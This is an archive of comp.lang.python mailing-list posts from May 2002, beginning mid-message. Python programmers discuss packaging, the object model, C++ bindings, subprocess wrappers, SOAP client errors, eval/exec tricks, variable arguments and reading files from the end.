+0200 Subject: Has Red Hat helped or hurt? References: <4pbhdu4t69e6eqt3q3l4q72odo0c9ufo9p@4ax.com> Message-ID: Tim Roberts writes: > How have other people handled this? Do you just copy all of > 1.52/site-packages to 2.x/site-packages? Do you install Python 2.x into a > separate directory and grumble every time you have to change the #! line in > your scripts? I personally stopped using Redhat, but I recommend that you install the Redhat-provided python2 binary. You could then install all additional packages that you need - many of them should install easily thanks to distutils. HTH, Martin From gerhard at bigfoot.de Wed May 22 19:25:01 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Thu, 23 May 2002 01:25:01 +0200 Subject: Why does Python mix OO concepts and non OO concepts for operation s on basic types? In-Reply-To: References: Message-ID: <20020522232501.GA1924@lilith.my-fqdn.de> * Michael P. Soulier [2002-05-22 22:59 +0000]: > Actually, one of the few things I like about Ruby is that all objects > in Ruby do have methods, and thus to add two numbers... > > 2 + 4 > 2.+(4) > > are equivalent. > > Python _does_ seem mildly inconsistent in this regard. That's a matter of taste. I'd like to know where this is a problem in real life: you can use the special methods __add__, __sub__, __mul__, and so on on any types/classes implementing the number protocol in Python 2.2+. It's just that you have to play a trick with the Python parser if you also want to make it work with number *literals*: print (-2). __abs__(), 2. __add__(5) But the only reason for using this with number literals is to make the pure-OO crowd happy ;-) > Giving strings methods helped a bit, but tuples still have none, and > neither do numbers. Wrong, both. > >>> dir(()) > [] > >>> dir(2) > [] Your Python is outdated. Try the same with Python 2.2+ where the start of the type/class unification has taken place. > IMHO, they should all be objects with methods and a class, such that they > may be subclassed. They can. But in my experience it was easier to implement my own class implementing the list or number protocol without subclassing the builtin types. Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From steffenv at stud.cs.uit.nospam.no Fri May 3 08:40:25 2002 From: steffenv at stud.cs.uit.nospam.no (Steffen Viken Valvåg) Date: Fri, 3 May 2002 14:40:25 +0200 Subject: Binding behaviour of built-in functions versus normal functions Message-ID: Assigning functions to classes after their creation is allowed and works as expected - the functions become methods of the class with 'binding' behaviour. For instance def myadd(self, other): pass myclass.__add__ = myadd works as expected. However, the same code doesn't work if 'myadd' is a built-in function, i.e. a function that is implemented in C by some extension module. The reason is that normal functions have a __get__ method that lets them act as descriptors that return bound methods. Built-in functions don't have such a __get__ method, but I can't see any reason why they shouldn't. Does anyone have any viewpoints on the philosophy behind this? Is there a good reason why built-in functions shouldn't have such binding behaviour? -- Steffen Viken Valv?g remove nospam from reply address to reply From david.abrahams at rcn.com Sun May 5 17:30:39 2002 From: david.abrahams at rcn.com (David Abrahams) Date: Sun, 5 May 2002 16:30:39 -0500 Subject: python and C++? References: Message-ID: "Totte Karlsson" wrote in message news:ab42mt$2ati$1 at nntp6.u.washington.edu... > Thanks I'll test boost, > How about SWIG? is boost preferable? any opinions? SWIG's approach is very different. Being the designer of Boost.Python, I'll let others comment on what's preferable. My sense is that SWIG has very different strengths. > I read that you can't wrap C++ functions which return pointers? sounds like > a big limitation to me. My classes return pointers all the time.. is there a > workaround? > I want to use the simplest and most versatile.. Boost.Python v2 supports pointer return types, but that's still in a pre-release phase, mostly due to missing documentation. Several people are using it successfully to wrap major C++ projects. I can help you get started with that, if you like. To look at Boost.Python v2, get the current boost CVS state and examine $(BOOST_ROOT)/libs/python/doc/v2 Examples are available in the following files located at $(BOOST_ROOT)/libs/python/test newtest.py m1.cpp m2.cpp test_builtin_converters.py test_builtin_converters.cpp test_pointer_adoption.[py/cpp] callbacks.[py/cpp] virtual_functions.[py/cpp] bpl-test back_reference.[py/cpp] bpl-test implicit.[py/cpp] bpl-test data_members.[py/cpp] In Boost.Python v2, the object referenced by a returned pointer is copied by default, but you can instead create a Python object which holds a reference to any of the wrapped function's arguments to keep the pointee alive. -Dave > /totte > > "David Abrahams" wrote in message > news:ab3mgb$mgc$1 at bob.news.rcn.net... > > > > "Totte Karlsson" wrote in message > > news:ab1r85$1u8s$1 at nntp6.u.washington.edu... > > > Hi, > > > Is there any good texts about how to interface to a windows dll with > > python? > > > I'm a total beginner of python. > > > I'm a C++ programmer and what I want is to make a DLL and interface to > > that > > > one with python. > > > Say for example, I have a C++ class, called mtkMatrix. Is it then > possible > > > to allocate a mtkMatrix in a python script and acess its class member > > > functions? > > > thanks > > > /totte > > > > Boost.Python was specifically designed to address your needs > > (www.boost.org/libs/python/doc/). If you need help getting started, please > > direct further questions to the C++-sig: > > http://www.python.org/sigs/c++-sig/. > > > > HTH, > > Dave > > > > P.S. I strongly recommend using the latest boost CVS state > > (http://sourceforge.net/cvs/?group_id=7586) rather than the current > release > > version. > > > > > > From stephen at xemacs.org Sat May 4 13:31:05 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 05 May 2002 02:31:05 +0900 Subject: Slight irritation with try/finally indentation References: <87bsc7b233.fsf@tleepslib.sk.tsukuba.ac.jp> <28UA8.4260$zW3.106993@news1.tin.it> Message-ID: <87pu0b95wm.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "Fran?ois" == Fran?ois Pinard writes: [Alex Martelli] > Fran?ois Pinard wrote: > > [Stephen J. Turnbull] > ... > >> try: > >> setup() > >> process() > >> except SetupError: > >> pass > >> else: > >> cleanup() > > > > Clever, and nice. Thanks for this idea, I'll ponder it. > But this only calls cleanup if process does NOT raise. NOT the same > semantics as a try/finally *at all*! > What am I missing...? Fran?ois> I misread it, sorry. But AFAICT it does what you want. process() never raises SetupError. Only setup() does that. This may require some uglification in setup() or process() to guarantee that their errors are disjoint. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN My nostalgia for Icon makes me forget about any of the bad things. I don't have much nostalgia for Perl, so its faults I remember. Scott Gilbert c.l.py From ftobin at neverending.org Wed May 8 17:05:10 2002 From: ftobin at neverending.org (Frank Tobin) Date: Wed, 8 May 2002 17:05:10 -0400 (EDT) Subject: sys.argv and while loop In-Reply-To: Message-ID: <20020508165347.C11503-100000@palanthas.neverending.org> Sean 'Shaleh' Perry, on 2002-05-08, wrote: > > Otherwise, objects of different types always compare unequal, and are > > ordered consistently but arbitrarily. > > "if September is greater than the moon: do_this()" makes no sense to me > either. I do not fault the language for failures of programmers (-: Weak argument. If you're going to have a stronly typed language, then comparing objects of differing types, or even similar ones without something defined for their comparison, should be generally be a TypeError. Given your line of reasoning, why bother type-checking functions (e.g., making sure the correct signature is used?)? We could just leave uninitialized memory in the arguments' place and silently proceed on; it's the programmer's fault for not giving the right number of arguments. -- Frank Tobin http://www.neverending.org/~ftobin/ From t at chabry.caltech.edu Tue May 14 09:37:03 2002 From: t at chabry.caltech.edu (Titus Brown) Date: 14 May 2002 06:37:03 -0700 Subject: High performance Python web-app References: <3CDE9D7B.7050408@xs4all_removethisalso.nl> Message-ID: In article , holger krekel wrote: >> > My question is: are there any *stable* solutions available to enable >> > fast ptyhon web-apps running on Apache 2/Win32? (Mod_python only runs on >> > Apache 1.3 as far as I know and Mod_snake seems to have been taken off >> > line....) >> > >> >> A recent thread seemed to suggest the best way would simply be to have >> Apache map a subset of URLs to a pure-Python server process. > >the configuration option is 'ProxyPass': > > ProxyPass /sub/name/ http://localhost:7000 If you're going to go with a separate setup for the Python processes, you should take a look at AOLserver/PyWX (http://pywx.idyll.org/). I also have instructions on how to map AOLserver into an Apache namespace with the Proxy stuff at http://www.idyll.org/~t/www-tools/. Pure Python Web serving is butt slow; if speed is a concern, you really don't want to do things that way ;). --titus From greg at cosc.canterbury.ac.nz Wed May 15 19:59:27 2002 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Thu, 16 May 2002 11:59:27 +1200 Subject: OT: Crazy Programming References: <87offlnq3k.fsf@mathdogs.com> <23891c90.0205130956.6f0436a0@posting.google.com> <3d06fae9.0205140451.5ec335b1@posting.google.com> <3CE1C502.BF27501D@cosc.canterbury.ac.nz> <3CE1FE30.3060803@mxm.dk> Message-ID: <3CE2F65F.2D24A86C@cosc.canterbury.ac.nz> Max M wrote: > > And when the bridge is halfway done the customeres rarely asks for the > bridge to be 10 meters longer and with 4 lanes instead of 3. Maybe if customers who commission computer programs were educated to regard this as just as unreasonable as it would obviously be when commissioning a bridge, things might be better... -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand To get my email address, please visit my web page: http://www.cosc.canterbury.ac.nz/~greg From Gareth.McCaughan at pobox.com Thu May 9 17:12:51 2002 From: Gareth.McCaughan at pobox.com (Gareth McCaughan) Date: Thu, 9 May 2002 22:12:51 +0100 Subject: "a better input" References: Message-ID: Holger Krekel wrote: > > I don't actually mind if an input() replacement evaluates 2+3. > > I do mind if it is able to do arbitrary computation, where > > "arbitrary" is fuzzily defined to cover things like ... > IMO, don't add such things to python. If you really need > such security use the mechanisms of your > OS e.g. restricted execution or even Jails/Bsd or UserModeLinux > which give you security on the *system call* level even > if you are executing as *root*. This way you can still > use the full power of any C-extension or cmdline-tool... > > That's a fundamentally better approach than fiddling > with some functions in python and quite possibly bloating > the API and the language. 1. OS-level facilities cannot protect from all the things I think a good input() should be protected from. 2. If the only way to provide an input() function along the lines I prefer involves bloating the API, then it should not be done. 3. I don't understand what you mean about bloating the language. I am proposing this as something it would be good to add if the existing input() gets removed or deprecated. -- Gareth McCaughan Gareth.McCaughan at pobox.com .sig under construc From phlip_cpp at yahoo.com Thu May 2 12:33:46 2002 From: phlip_cpp at yahoo.com (Phlip) Date: 2 May 2002 09:33:46 -0700 Subject: SNIP IT: Popen3 in a non-heinous wrapper Message-ID: <63604d2.0205020833.5ef78d9a@posting.google.com> Not Hyp: Despite the copious and well-consolidated documentation on the subject, I have assembled a single, coherent wrapper for Popen3 that hides the cluster of functions one must call to beat use out of it. Find it below my sig. Remember that the app it calls must call "flush" early and often; this is an open issue. Reviews & upgrades welcome. -- Phlip http://www.c2.com/cgi/wiki?PhlIp -- Argue for your and sure enough, they'r yours -- import popen2 from fcntl import fcntl, F_SETFL from select import select def Piper(command, outputSink, errorSink): proc = popen2.Popen3(command, capturestderr = 1) O_NONBLOCK = 04000 fcntl(proc.tochild.fileno(), F_SETFL, O_NONBLOCK) fcntl(proc.fromchild.fileno(), F_SETFL, O_NONBLOCK) fcntl(proc.childerr.fileno(), F_SETFL, O_NONBLOCK) while 1: w = [] selectables = [proc.childerr, proc.fromchild] r, w, e = select(selectables, w, selectables) for i in r + e: if i == proc.childerr: err = proc.childerr.read() if err: errorSink(err) if i == proc.fromchild: all = proc.fromchild.read() if all: outputSink(all) got = proc.poll() if got != -1: break return got if __name__ == '__main__': def outputSink(output): print output def errorSink(error): print '***********************', error Piper( 'ls . ; ls non_existent_folder ; ls .', outputSink, errorSink, ) From denpeterson at yahoo.com Sun May 19 13:44:30 2002 From: denpeterson at yahoo.com (Dennis Peterson) Date: Sun, 19 May 2002 13:44:30 -0400 Subject: Recursion problem References: Message-ID: umm...unless you declare it static, of course... "Dennis Peterson" wrote in message news:ac8bot01515 at enews1.newsguy.com... > Thanks for the help, John, I'll follow your advice. All the oop I've done > until now was C++, which has no class-level data, and thinking in those > terms made this seem very strange. > -Dennis > > "John Machin" wrote in message > news:c76ff6fc.0205190444.204fd65e at posting.google.com... > > "Dennis Peterson" wrote in message > news:... > > > I'm trying to implement a basic Composite pattern. In the following > code, I > > > expect c.getData() and d.getData() to both return "hellogoodbye". > Instead, > > > on d.getData() I get stacktrace printing "y += i.getData()" repeatedly > until > > > recursion depth exceeded. Why? > > > > > > I'm new to Python, running latest Windows version just downloaded. > > > > > > class Simple: > > > def __init__(self,x): > > > self.data = x > > > def getData(self): > > > return self.data > > > > > > class Compound: > > > data = [] > > > > This "data" is a *CLASS*-level attribute, shared by all instances of > > the class. > > You should have an __init__() similar to the other class, to set > > self.data to []. > > > > > def getData(self): > > > y = "" > > > for i in self.data: > > > y += i.getData() > > > return y > > > > > > def test(): > > > a = Simple("hello") > > > b = Simple("goodbye") > > > c = Compound() > > > c.data.append(a) > > > c.data.append(b) > > > > Insert a print statement here ... print c.data > > > print c.getData() > > > d = Compound() > > > d.data.append(c) > > > > Now for the big surprise: > > print d.data > > *AND* > > print c.data > > Just like the man said, c.data and d.data are the same thing ... and > > uh-oh, that means c contains a reference to itself! > > > print d.getData() > > > > d contains c, which contains c, so you start emulating the mythical > > ooloo bird, until saved by the recursion limit. > > > > *HINT* Unless you expect your code to work correctly first time or if > > not that kind strangers will always do your debugging for you, learn > > to put in print statements to give yourself a bit of a clue as to what > > is going wrong. You seem to have jumped right in to the OO aspects of > > Puthon; perhaps you might like to write yourself a mixin class that > > supplies a generic dump() method for debugging instances of classes > > that inherit from it. > > From aleax at aleax.it Sun May 5 02:27:35 2002 From: aleax at aleax.it (Alex Martelli) Date: Sun, 05 May 2002 06:27:35 GMT Subject: Looking for a scripting language References: <3cd49f78$0$355$9b622d9e@news.freenet.de> <1973EB72E5CE896A.E0B7C1131D78B3D3.8414FFB2D66513D4@lp.airnews.net> Message-ID: Cameron Laird wrote: > In article , > Christopher Browne wrote: > . >>Your list should also include Ruby, and it's probably also worth >>taking a _quick_ look at REXX which is more mature than any of the Yep, it DID first get me on a scripting binge back in the early '80s. > But Rexx still doesn't have ("native") COM or SOAP > facilities, right? My speculation about the original COM seems to be supported now in Object Rexx (sorry, no 1st hand experience): http://oss.software.ibm.com/pipermail/bsf-discussion/2001-April/000209.html and also as an add-on to other versions (ditto): http://www.interlog.com/~ptjm Not sure about SOAP, sorry. Alex From fredrik at pythonware.com Tue May 7 03:09:44 2002 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 07 May 2002 07:09:44 GMT Subject: sgmllib too slow References: <_FHB8.41355$YQ1.17953481@typhoon.southeast.rr.com> Message-ID: Martin v. Loewis wrote: > > > 1. Rewriting the whole thing in C is out of the question. Rewriting in > > Java is a possibility, and easier than C - but not nearly as easy as > > Python. > > Not sure what "the whole thing" is, but Fredrik Lundh has rewritten > sgmllib as a C module, named sgmlop. This is now included regularly in > PyXML, as xml.parsers.sgmlop. It has two modes of operation: SGML and > XML, and it is really fast. also available as a separate distribution, from here: http://effbot.org/downloads/ From mrussell8081 at pacbell.net Wed May 15 16:17:58 2002 From: mrussell8081 at pacbell.net (Mark Russell) Date: Wed, 15 May 2002 20:17:58 GMT Subject: Problem wtih httplib and winsock Message-ID: Hi to all, I am working through a simple SOAP example from the IBM developer developer series. The full article is here: http://www-106.ibm.com/developerworks/webservices/library/ws-pyth6/?dwzone=w ebservices My platform is Python 2.2 on Win2K. On the client side I need to use httplib to make a request of a SOAP.py based service. Every time I run the client I get a winsock error. The client and server code is reproduced below. Running the client produces the following: Any help would be greatly appreciated. --run-- C:\home\developer\distinct>python pycal.py connect: (127.0.0.1, 8888) send: 'POST cal-server HTTP/1.0\r\n' send: 'Host: 127.0.0.1\r\n' send: 'Content-Type: text/plain; charset="utf-8"\r\n' send: 'Content-Lenget: 514\r\n' send: 'SOAPAction: http://uche.ogbuji.net/eg/ws/simple-cal\r\n' send: '\r\n' send: '\n \n \n 2001\n 12\n \n \n' reply: 'HTTP/1.0 500 Internal error\r\n' header: Server: SOAP.py 0.9.7 (Python 2.2a2+) header: Date: Wed, 15 May 2002 19:48:16 GMT Traceback (most recent call last): File "pycal.py", line 43, in ? GetMonth() File "pycal.py", line 36, in GetMonth reply_body = requestor.getfile().read() File "c:\python22\lib\socket.py", line 229, in read new = self._sock.recv(k) socket.error: (10054, 'Connection reset by peer') --server code-- import sys, calendar #Import the SOAP.py machinery from WebServices import SOAP CAL_NS = "http://uche.ogbuji.net/eg/ws/simple-cal" class Calendar: def getMonth(self, year, month): return calendar.month(year, month) def getYear(self, year): return calendar.calendar(year) server = SOAP.SOAPServer(("localhost", 8888)) cal = Calendar() server.registerObject(cal, CAL_NS) print "Starting server..." server.serve_forever() --client code-- import sys, httplib SERVER_ADDR = "127.0.0.1" SERVER_PORT = 8888 CAL_NS = "http://uche.ogbuji.net/ws/eg/simple-cal" BODY_TEMPLATE = """ %s %s """ def GetMonth(): year = 2001 month = 12 body = BODY_TEMPLATE%(year, month) blen = len(body) requestor = httplib.HTTP(SERVER_ADDR, SERVER_PORT) requestor.putrequest("POST", "cal-server") requestor.putheader("Host", SERVER_ADDR) requestor.putheader("Content-Type", "text/plain; charset="utf-8"") requestor.putheader("Content-Length", str(blen)) requestor.putheader("SOAPAction", "http://uche.ogbuji.net/eg/ws/simple-car") requestor.endheaders() requestor.send(body) (status_code, message, reply_headers) = requestor.getreply() reply_body = requestor.getfile().read() print "status code:", status_code print "status message:", message print "HTTP reply body:\n", reply_body if __name__ == "__main__": GetMonth() From pyth at devel.trillke.net Mon May 27 15:17:10 2002 From: pyth at devel.trillke.net (holger krekel) Date: Mon, 27 May 2002 21:17:10 +0200 Subject: eval vs. exec In-Reply-To: <3cf267d1@si-nic.hrz.uni-siegen.de>; from Simon.Budig@unix-ag.org on Mon, May 27, 2002 at 07:07:30PM +0100 References: <3cf232b4@si-nic.hrz.uni-siegen.de> <3cf267d1@si-nic.hrz.uni-siegen.de> Message-ID: <20020527211710.A17248@prim.han.de> Simon Budig wrote: > holger krekel wrote: > > what you can do is e.g. > > [slightly adjusted] > (...) > As you can see the return value always is "None". The real results > get printed to stdout. This is the same problem I had with the > eval/exec stuff. > > Thanks for trying :-) :-) ok. seriously now! this is the working version (i hope you appreciate it :-) import compiler from parser import ParserError class MyCodeGenerator(compiler.pycodegen.InteractiveCodeGenerator): def visitDiscard(self, node): self.visit(node.expr) self.emit('RETURN_VALUE') # instead of printing :-) def get_code(string): """ determine whether string is an expression or a statement """ try: tree = compiler.pycodegen.parse(string,'exec') except ParserError,e: print "no valid statement:",string raise tree.filename='' return MyCodeGenerator(tree).getCode() def run_code(string, mathstuff={'myabs': lambda x: abs(x)}): print "execing",string codeobj = get_code(string) return eval(codeobj,mathstuff) print "Result: %s" % repr (run_code('a=asdlkj(-3;myabs(a*5)')) print "Result: %s" % repr (run_code('a=2')) print "Result: %s" % repr (run_code('3*4')) print "Result: %s" % repr (run_code('a=2;b=3;a*b')) print "Result: %s" % repr (run_code('a=-3;myabs(a*5)')) I know that this has the odor of beeing 'hackish'. But i think this is *mostly* because the compiler/parser modules are not in wide use. There are some respectable applications though which work with this layer of python (quixote e.g.). Also note that with this solution you can distinguish parsing and runtime-exceptions. have fun, holger From jadestar at idiom.com Sun May 19 04:10:54 2002 From: jadestar at idiom.com (James T. Dennis) Date: 19 May 2002 08:10:54 GMT Subject: Passing on variable arguments References: <3csA8.41706$8D3.1225940@news1.tin.it> Message-ID: Alex Martelli wrote: > Ralf Juengling wrote: >> how do I pass on a variable number of arguments. For instance: > In Python 2.0 and later, you use the * form in the call just as > in the def statement (in 1.5.2 you had to use builtin function > 'apply'). >> def m(self, *args): >> # do sth with *args >> >> # pass them on to superclass method >> B.m(self, ????) > B.m(self, *args) > assuming you want to pass ALL of args to B, of course. > Alex It seems we can use slice notation to pass a subset our *args In python2.2 this seems to work: def A(a, *args): print a print len(args), args[:] def B(*z): A(z[0], *z[1:]) ... to pass a subset of the args to decorated/invoked function. Using apply in this case would still work: def C(*args): apply(A, args) But it gets uglier if you want to use apply() with a prototype that matches A(): def D(x, *args): args = list(args) args.insert(0, x) apply(A, args) I can't see any way around that. (of course D(), isn't doing anything here --- but one could imagine that it might be used to coerce x, perform bounds checking, or perform {pre,post}conditional tests, etc). From mwh at python.net Fri May 24 06:16:25 2002 From: mwh at python.net (Michael Hudson) Date: Fri, 24 May 2002 10:16:25 GMT Subject: Fatal Python error: GC object already in linked list References: Message-ID: mongiaamit at yahoo.com (Amit Mongia) writes: > Hi, > > I am running a program using pycurl, to upload files on a server. I am > using threads and lists in my program. There are times my program > errors out and crashes with this error message. I am not using the > Garbage Collector anywhere in my program. Any idea what can cause this > error. > > Fatal Python error: GC object already in linked list Which Python version are you running? Cheers, M. -- I've even been known to get Marmite *near* my mouth -- but never actually in it yet. Vegamite is right out. UnicodeError: ASCII unpalatable error: vegamite found, ham expected -- Tim Peters, comp.lang.python From gustav at morpheus.demon.co.uk Thu May 23 11:05:42 2002 From: gustav at morpheus.demon.co.uk (Paul Moore) Date: Thu, 23 May 2002 17:05:42 +0200 Subject: Running code as __main__ Message-ID: <7kluzyzt.fsf@morpheus.demon.co.uk> I'm writing an application which needs to execute some Python code which is in a string, as if it were a main program. Specifically, I want to be sure that constructs like "if name == __main__:" work as expected. Both execfile() and c = compile(code, filename, "exec"); exec c nearly work, in that they have __name__ equal to __main__ when run from the interpreter main loop, but they don't work if run from within a module (the executed code thinks it's in that module). By experimentation, I find that simply assigning to __name__ works. But is this reliable/acceptable? If not, is there an alternative approach I can use? Thanks in advance, Paul. From geoff at gerrietts.net Mon May 13 20:42:23 2002 From: geoff at gerrietts.net (Geoff Gerrietts) Date: Mon, 13 May 2002 17:42:23 -0700 Subject: newbie - SOAP.py sockets and localhost? In-Reply-To: References: Message-ID: <20020514004223.GF24164@isis.gerrietts.net> Quoting Gordon Scott (gordon.scott at peregrine.com): > My question is, why should I have had to specifically state the IP > instead of localhost? Shouldn't localhost have bound the socket to > whatever my current IP address is? I can't say for absolute certain what the problem is, but I have a strong suspicion I know. If you're running on a Linux box, this is easier to explain than if you're running on a Windows box -- and I think Win2k has a handy utility (ipconfig maybe?) that can help you shed some light, also. The fact is that "localhost" maps to the IP address 127.0.0.1, on all machines. This is the loopback address, and it functions on the loopback interface. Check out the output from "ifconfig" on a linux box -- you'll see that there are in fact two different interfaces indicated, and each with a different IP address. When you bind a socket for listening, you have the option to either specify all available network interfaces, or a specific network interface by IP number. My guess is that SOAP is configured to bind against one interface, rather than all available interfaces. If you look into the socket module, you'll see how that works. Once you see how it works, you should be able to change it, if you're of a mind. Best of luck, --G. -- Geoff Gerrietts "People talk fundamentals and superlatives and then make some changes of detail." http://www.gerrietts.net --Oliver Wendell Holmes Jr From m.faassen at vet.uu.nl Wed May 1 18:26:31 2002 From: m.faassen at vet.uu.nl (Martijn Faassen) Date: 1 May 2002 22:26:31 GMT Subject: Newbie: finding the key/index of the min/max element References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> <3CCF4F66.BA0A5DD4@cascade-sys.com> Message-ID: Laura Creighton wrote: [snip long explanation involving using visciousness and sarcasm to demonstrate this newsgroup shouldn't be sarcasm friendly, a background to this thread apparently that I, innocent and unwitting poster, missed entirely. there's a war on against sarcasm? how odd..] Hey, we have an established way here to reprimand people and to teach them a lesson, and I demonstrated it in my previous post in this thread. We employ a large amount of silliness, with possibly a few ironic barbs in there here and there. Please use silliness in the future, not visciousness nor sarcasm. In case of existing flamewars, silliness works as well. Another ancient technique established in this newsgroup is making the topic veer into unexpected directions, like comparative linguistics. Alex was doing that here. And if you don't accept that, the PSU will come and wipe you entirely from the space time continuum. I discovered it does exist, there is clear evidence now in the From whisper at oz.net Mon May 13 17:38:39 2002 From: whisper at oz.net (David LeBlanc) Date: Mon, 13 May 2002 14:38:39 -0700 Subject: Read file from bottom In-Reply-To: Message-ID: I'd do it something like this: # tail.py buff = '' chunksize = 500 #your choice myFile = file('news.txt', 'r') #python 2.2 file object myFile.seek((-chunksize), 2) #seek to eof - chunksize bytes. "2" means relative to EOF #dump version #buff = myFile.read(chunksize) #hopefully file length is > chunksize #print buff #by line version done = False while not done: buff = myFile.readline() if buff: print buff else: done = True #note the first line printed will probably be a partial, so you might want to #not print it. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of William Park > Sent: Monday, May 13, 2002 13:40 > To: python-list at python.org > Subject: Re: Read file from bottom > > > Julia Bell wrote: > > I'm currently using > > line = input_handle.readline() > > to read individual lines from an input file; however, I'm only generally > > interested in the last few lines of the line (not the preceeding several > > thousand lines). > > > > Is there an efficient (and relatively easy - I'm new to Python) way of > > reading the file from the last line backward instead of the first line > > forward? > > > > (I do not want to read the entire file using readlines because it could > > overwhelm the memory.) > > tail | python script.py > > -- > William Park, Open Geometry Consulting, > 8-CPU Cluster, Hosting, NAS, Linux, LaTeX, python, vim, mutt, tin > -- > http://mail.python.org/mailman/listinfo/python-list From kfw at woeltje.org Wed May 15 21:36:42 2002 From: kfw at woeltje.org (Keith Woeltje) Date: Wed, 15 May 2002 21:36:42 -0400 Subject: Core Python programming References: <337619fa.0205121618.26e557e0@posting.google.com> Message-ID: <3CE30D2A.2090502@woeltje.org> Raphael, To answer the question you asked, Core Python covers Python through 2.0. I'm currently reading through it, and think it really is a good book. I like an honest-to-goodness dead-tree document for reading, and Chun does a nice job in teaching most of the features. You can always pick up the newer stuff later from the on-line documentation. HTH, >K PS--the Beasley book is an excellent reference, but unless you are already a skilled programmer, I wouldn't try to learn from it. Raphael Ribeiro wrote: > I wanna buy this book , for i heard it is PERFECT for a beginner , but > i saw it , and it was released in 2000, will i get obsolete if buy it > today, and will i have problems with the new features included after > 2000? From inyeol_lee at yahoo.com Wed May 29 18:16:51 2002 From: inyeol_lee at yahoo.com (Inyeol Lee) Date: 29 May 2002 15:16:51 -0700 Subject: python script doesn't check cwd during import Message-ID: I'm using python2.2.1 on Solaris8. When I launch a python script, it imports modules from the directory where the script is, not from current directory. For example, $ pwd /home/inyeol/test/d $ ls . bar.py $ cat bar.py print "I'm bar" $ ls .. foo.py $ cat ../foo.py #!/usr/bin/env python import bar $ ../foo.py Traceback (most recent call last): File "../foo.py", line 3, in ? import bar ImportError: No module named bar $ mv ./bar.py .. $ ../foo.py I'm bar $ Is it a bug or a feature? Inyeol... From henken at seas.upenn.edu Thu May 9 14:34:04 2002 From: henken at seas.upenn.edu (Nicholas Henke) Date: Thu, 09 May 2002 14:34:04 -0400 Subject: bproc_rfork Message-ID: <3CDAC11C.8080300@seas.upenn.edu> Hello all -- I am working on updating pybproc to the newer bproc and I am running into an issue on a remote fork. The code for the rfork is: pid = bproc_rfork(node); if (pid == -1) { PyErr_SetFromErrno(PyExc_OSError); return NULL; } return PyInt_FromLong(pid); The local process runs fine, and the remote process is forked, but when I do os.waitpid(pid), I see that is always exits because of a SEGFAULT, or signal 11. Here is the gdb traceback from the core file: [henken at alpha pybproc]$ gdb -c core `which python2` GNU gdb Red Hat Linux (5.1-1) Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"...(no debugging symbols found)... warning: core file may not match specified executable file. Core was generated by `/usr/bin/python2 ./test.py'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/i686/libpthread.so.0...done. warning: Unable to set global thread event mask: generic error [New Thread 1024 (LWP 26075)] Error while reading shared library symbols: Can't attach LWP 26075: No such process Reading symbols from /lib/libdl.so.2...done. Loaded symbols for /lib/libdl.so.2 Reading symbols from /lib/libutil.so.1...done. Loaded symbols for /lib/libutil.so.1 Reading symbols from /lib/i686/libm.so.6...done. Loaded symbols for /lib/i686/libm.so.6 Reading symbols from /lib/i686/libc.so.6...done. Loaded symbols for /lib/i686/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 Reading symbols from /usr/lib/python2.1/site-packages/bproc.so...done. Loaded symbols for /usr/lib/python2.1/site-packages/bproc.so Reading symbols from /usr/lib/libbproc.so.2...done. Loaded symbols for /usr/lib/libbproc.so.2 Reading symbols from /usr/lib/python2.1/lib-dynload/timemodule.so...done. Loaded symbols for /usr/lib/python2.1/lib-dynload/timemodule.so #0 0x4002cf6c in libc_internal_tsd_get (key=_LIBC_TSD_KEY_MALLOC) at specific.c:190 190 specific.c: No such file or directory. in specific.c (gdb) bt #0 0x4002cf6c in libc_internal_tsd_get (key=_LIBC_TSD_KEY_MALLOC) at specific.c:190 #1 0x400e27c7 in __libc_malloc (bytes=30) at malloc.c:2808 #2 0x08092454 in PyString_FromString () #3 0x0808f781 in PyDict_GetItemString () #4 0x0806ef6d in PySys_GetObject () #5 0x08056a1f in PyEval_EvalCode () #6 0x080550d5 in PyEval_EvalCode () #7 0x0806e031 in PyRun_FileExFlags () #8 0x0806d34f in PyRun_SimpleFileExFlags () #9 0x08051f30 in Py_Main () #10 0x4007e647 in __libc_start_main (main=0x80519d0
, argc=2, ubp_av=0xbffffa94, init=0x8050e38 <_init>, fini=0x80a48f0 <_fini>, rtld_fini=0x4000dcd4 <_dl_fini>, stack_end=0xbffffa8c) at ../sysdeps/generic/libc-start.c:129 (gdb) Please CC me via email as I am not subscribed to this list -- If there is somewhere else I should be asking this question, let me know. Nic From quinn at regurgitate.ugcs.caltech.edu Thu May 30 16:57:37 2002 From: quinn at regurgitate.ugcs.caltech.edu (Quinn Dunkan) Date: 30 May 2002 20:57:37 GMT Subject: 'for every' and 'for any' References: <20020526135944.A32690@hishome.net> <20020526091742.A987@unpythonic.net> Message-ID: On Thu, 30 May 2002 09:09:38 -0400, Oren Tirosh wrote: >On Wed, May 29, 2002 at 08:48:33PM +0000, Quinn Dunkan wrote: >> >I don't have a personal utility library. It's on purpose. I don't have >> >personalized key bindings. I try to avoid customization. Customization is >> >a big part of what makes one programmer's code difficult to maintain by >> >another programmer, what makes on programmers's workstation unusable by >> >another and makes combining code from several sources difficult. >> >> Um, customizing your workstation is only going to cause problems for other >> people if they use your account. I'm hoping they don't do that? No one can >> use my wacky setup but they don't need to because I log out when I'm done. > >Nobody else ever uses my workstation but if I customize it too much I will >feel crippled whenever I ssh or install a new machine 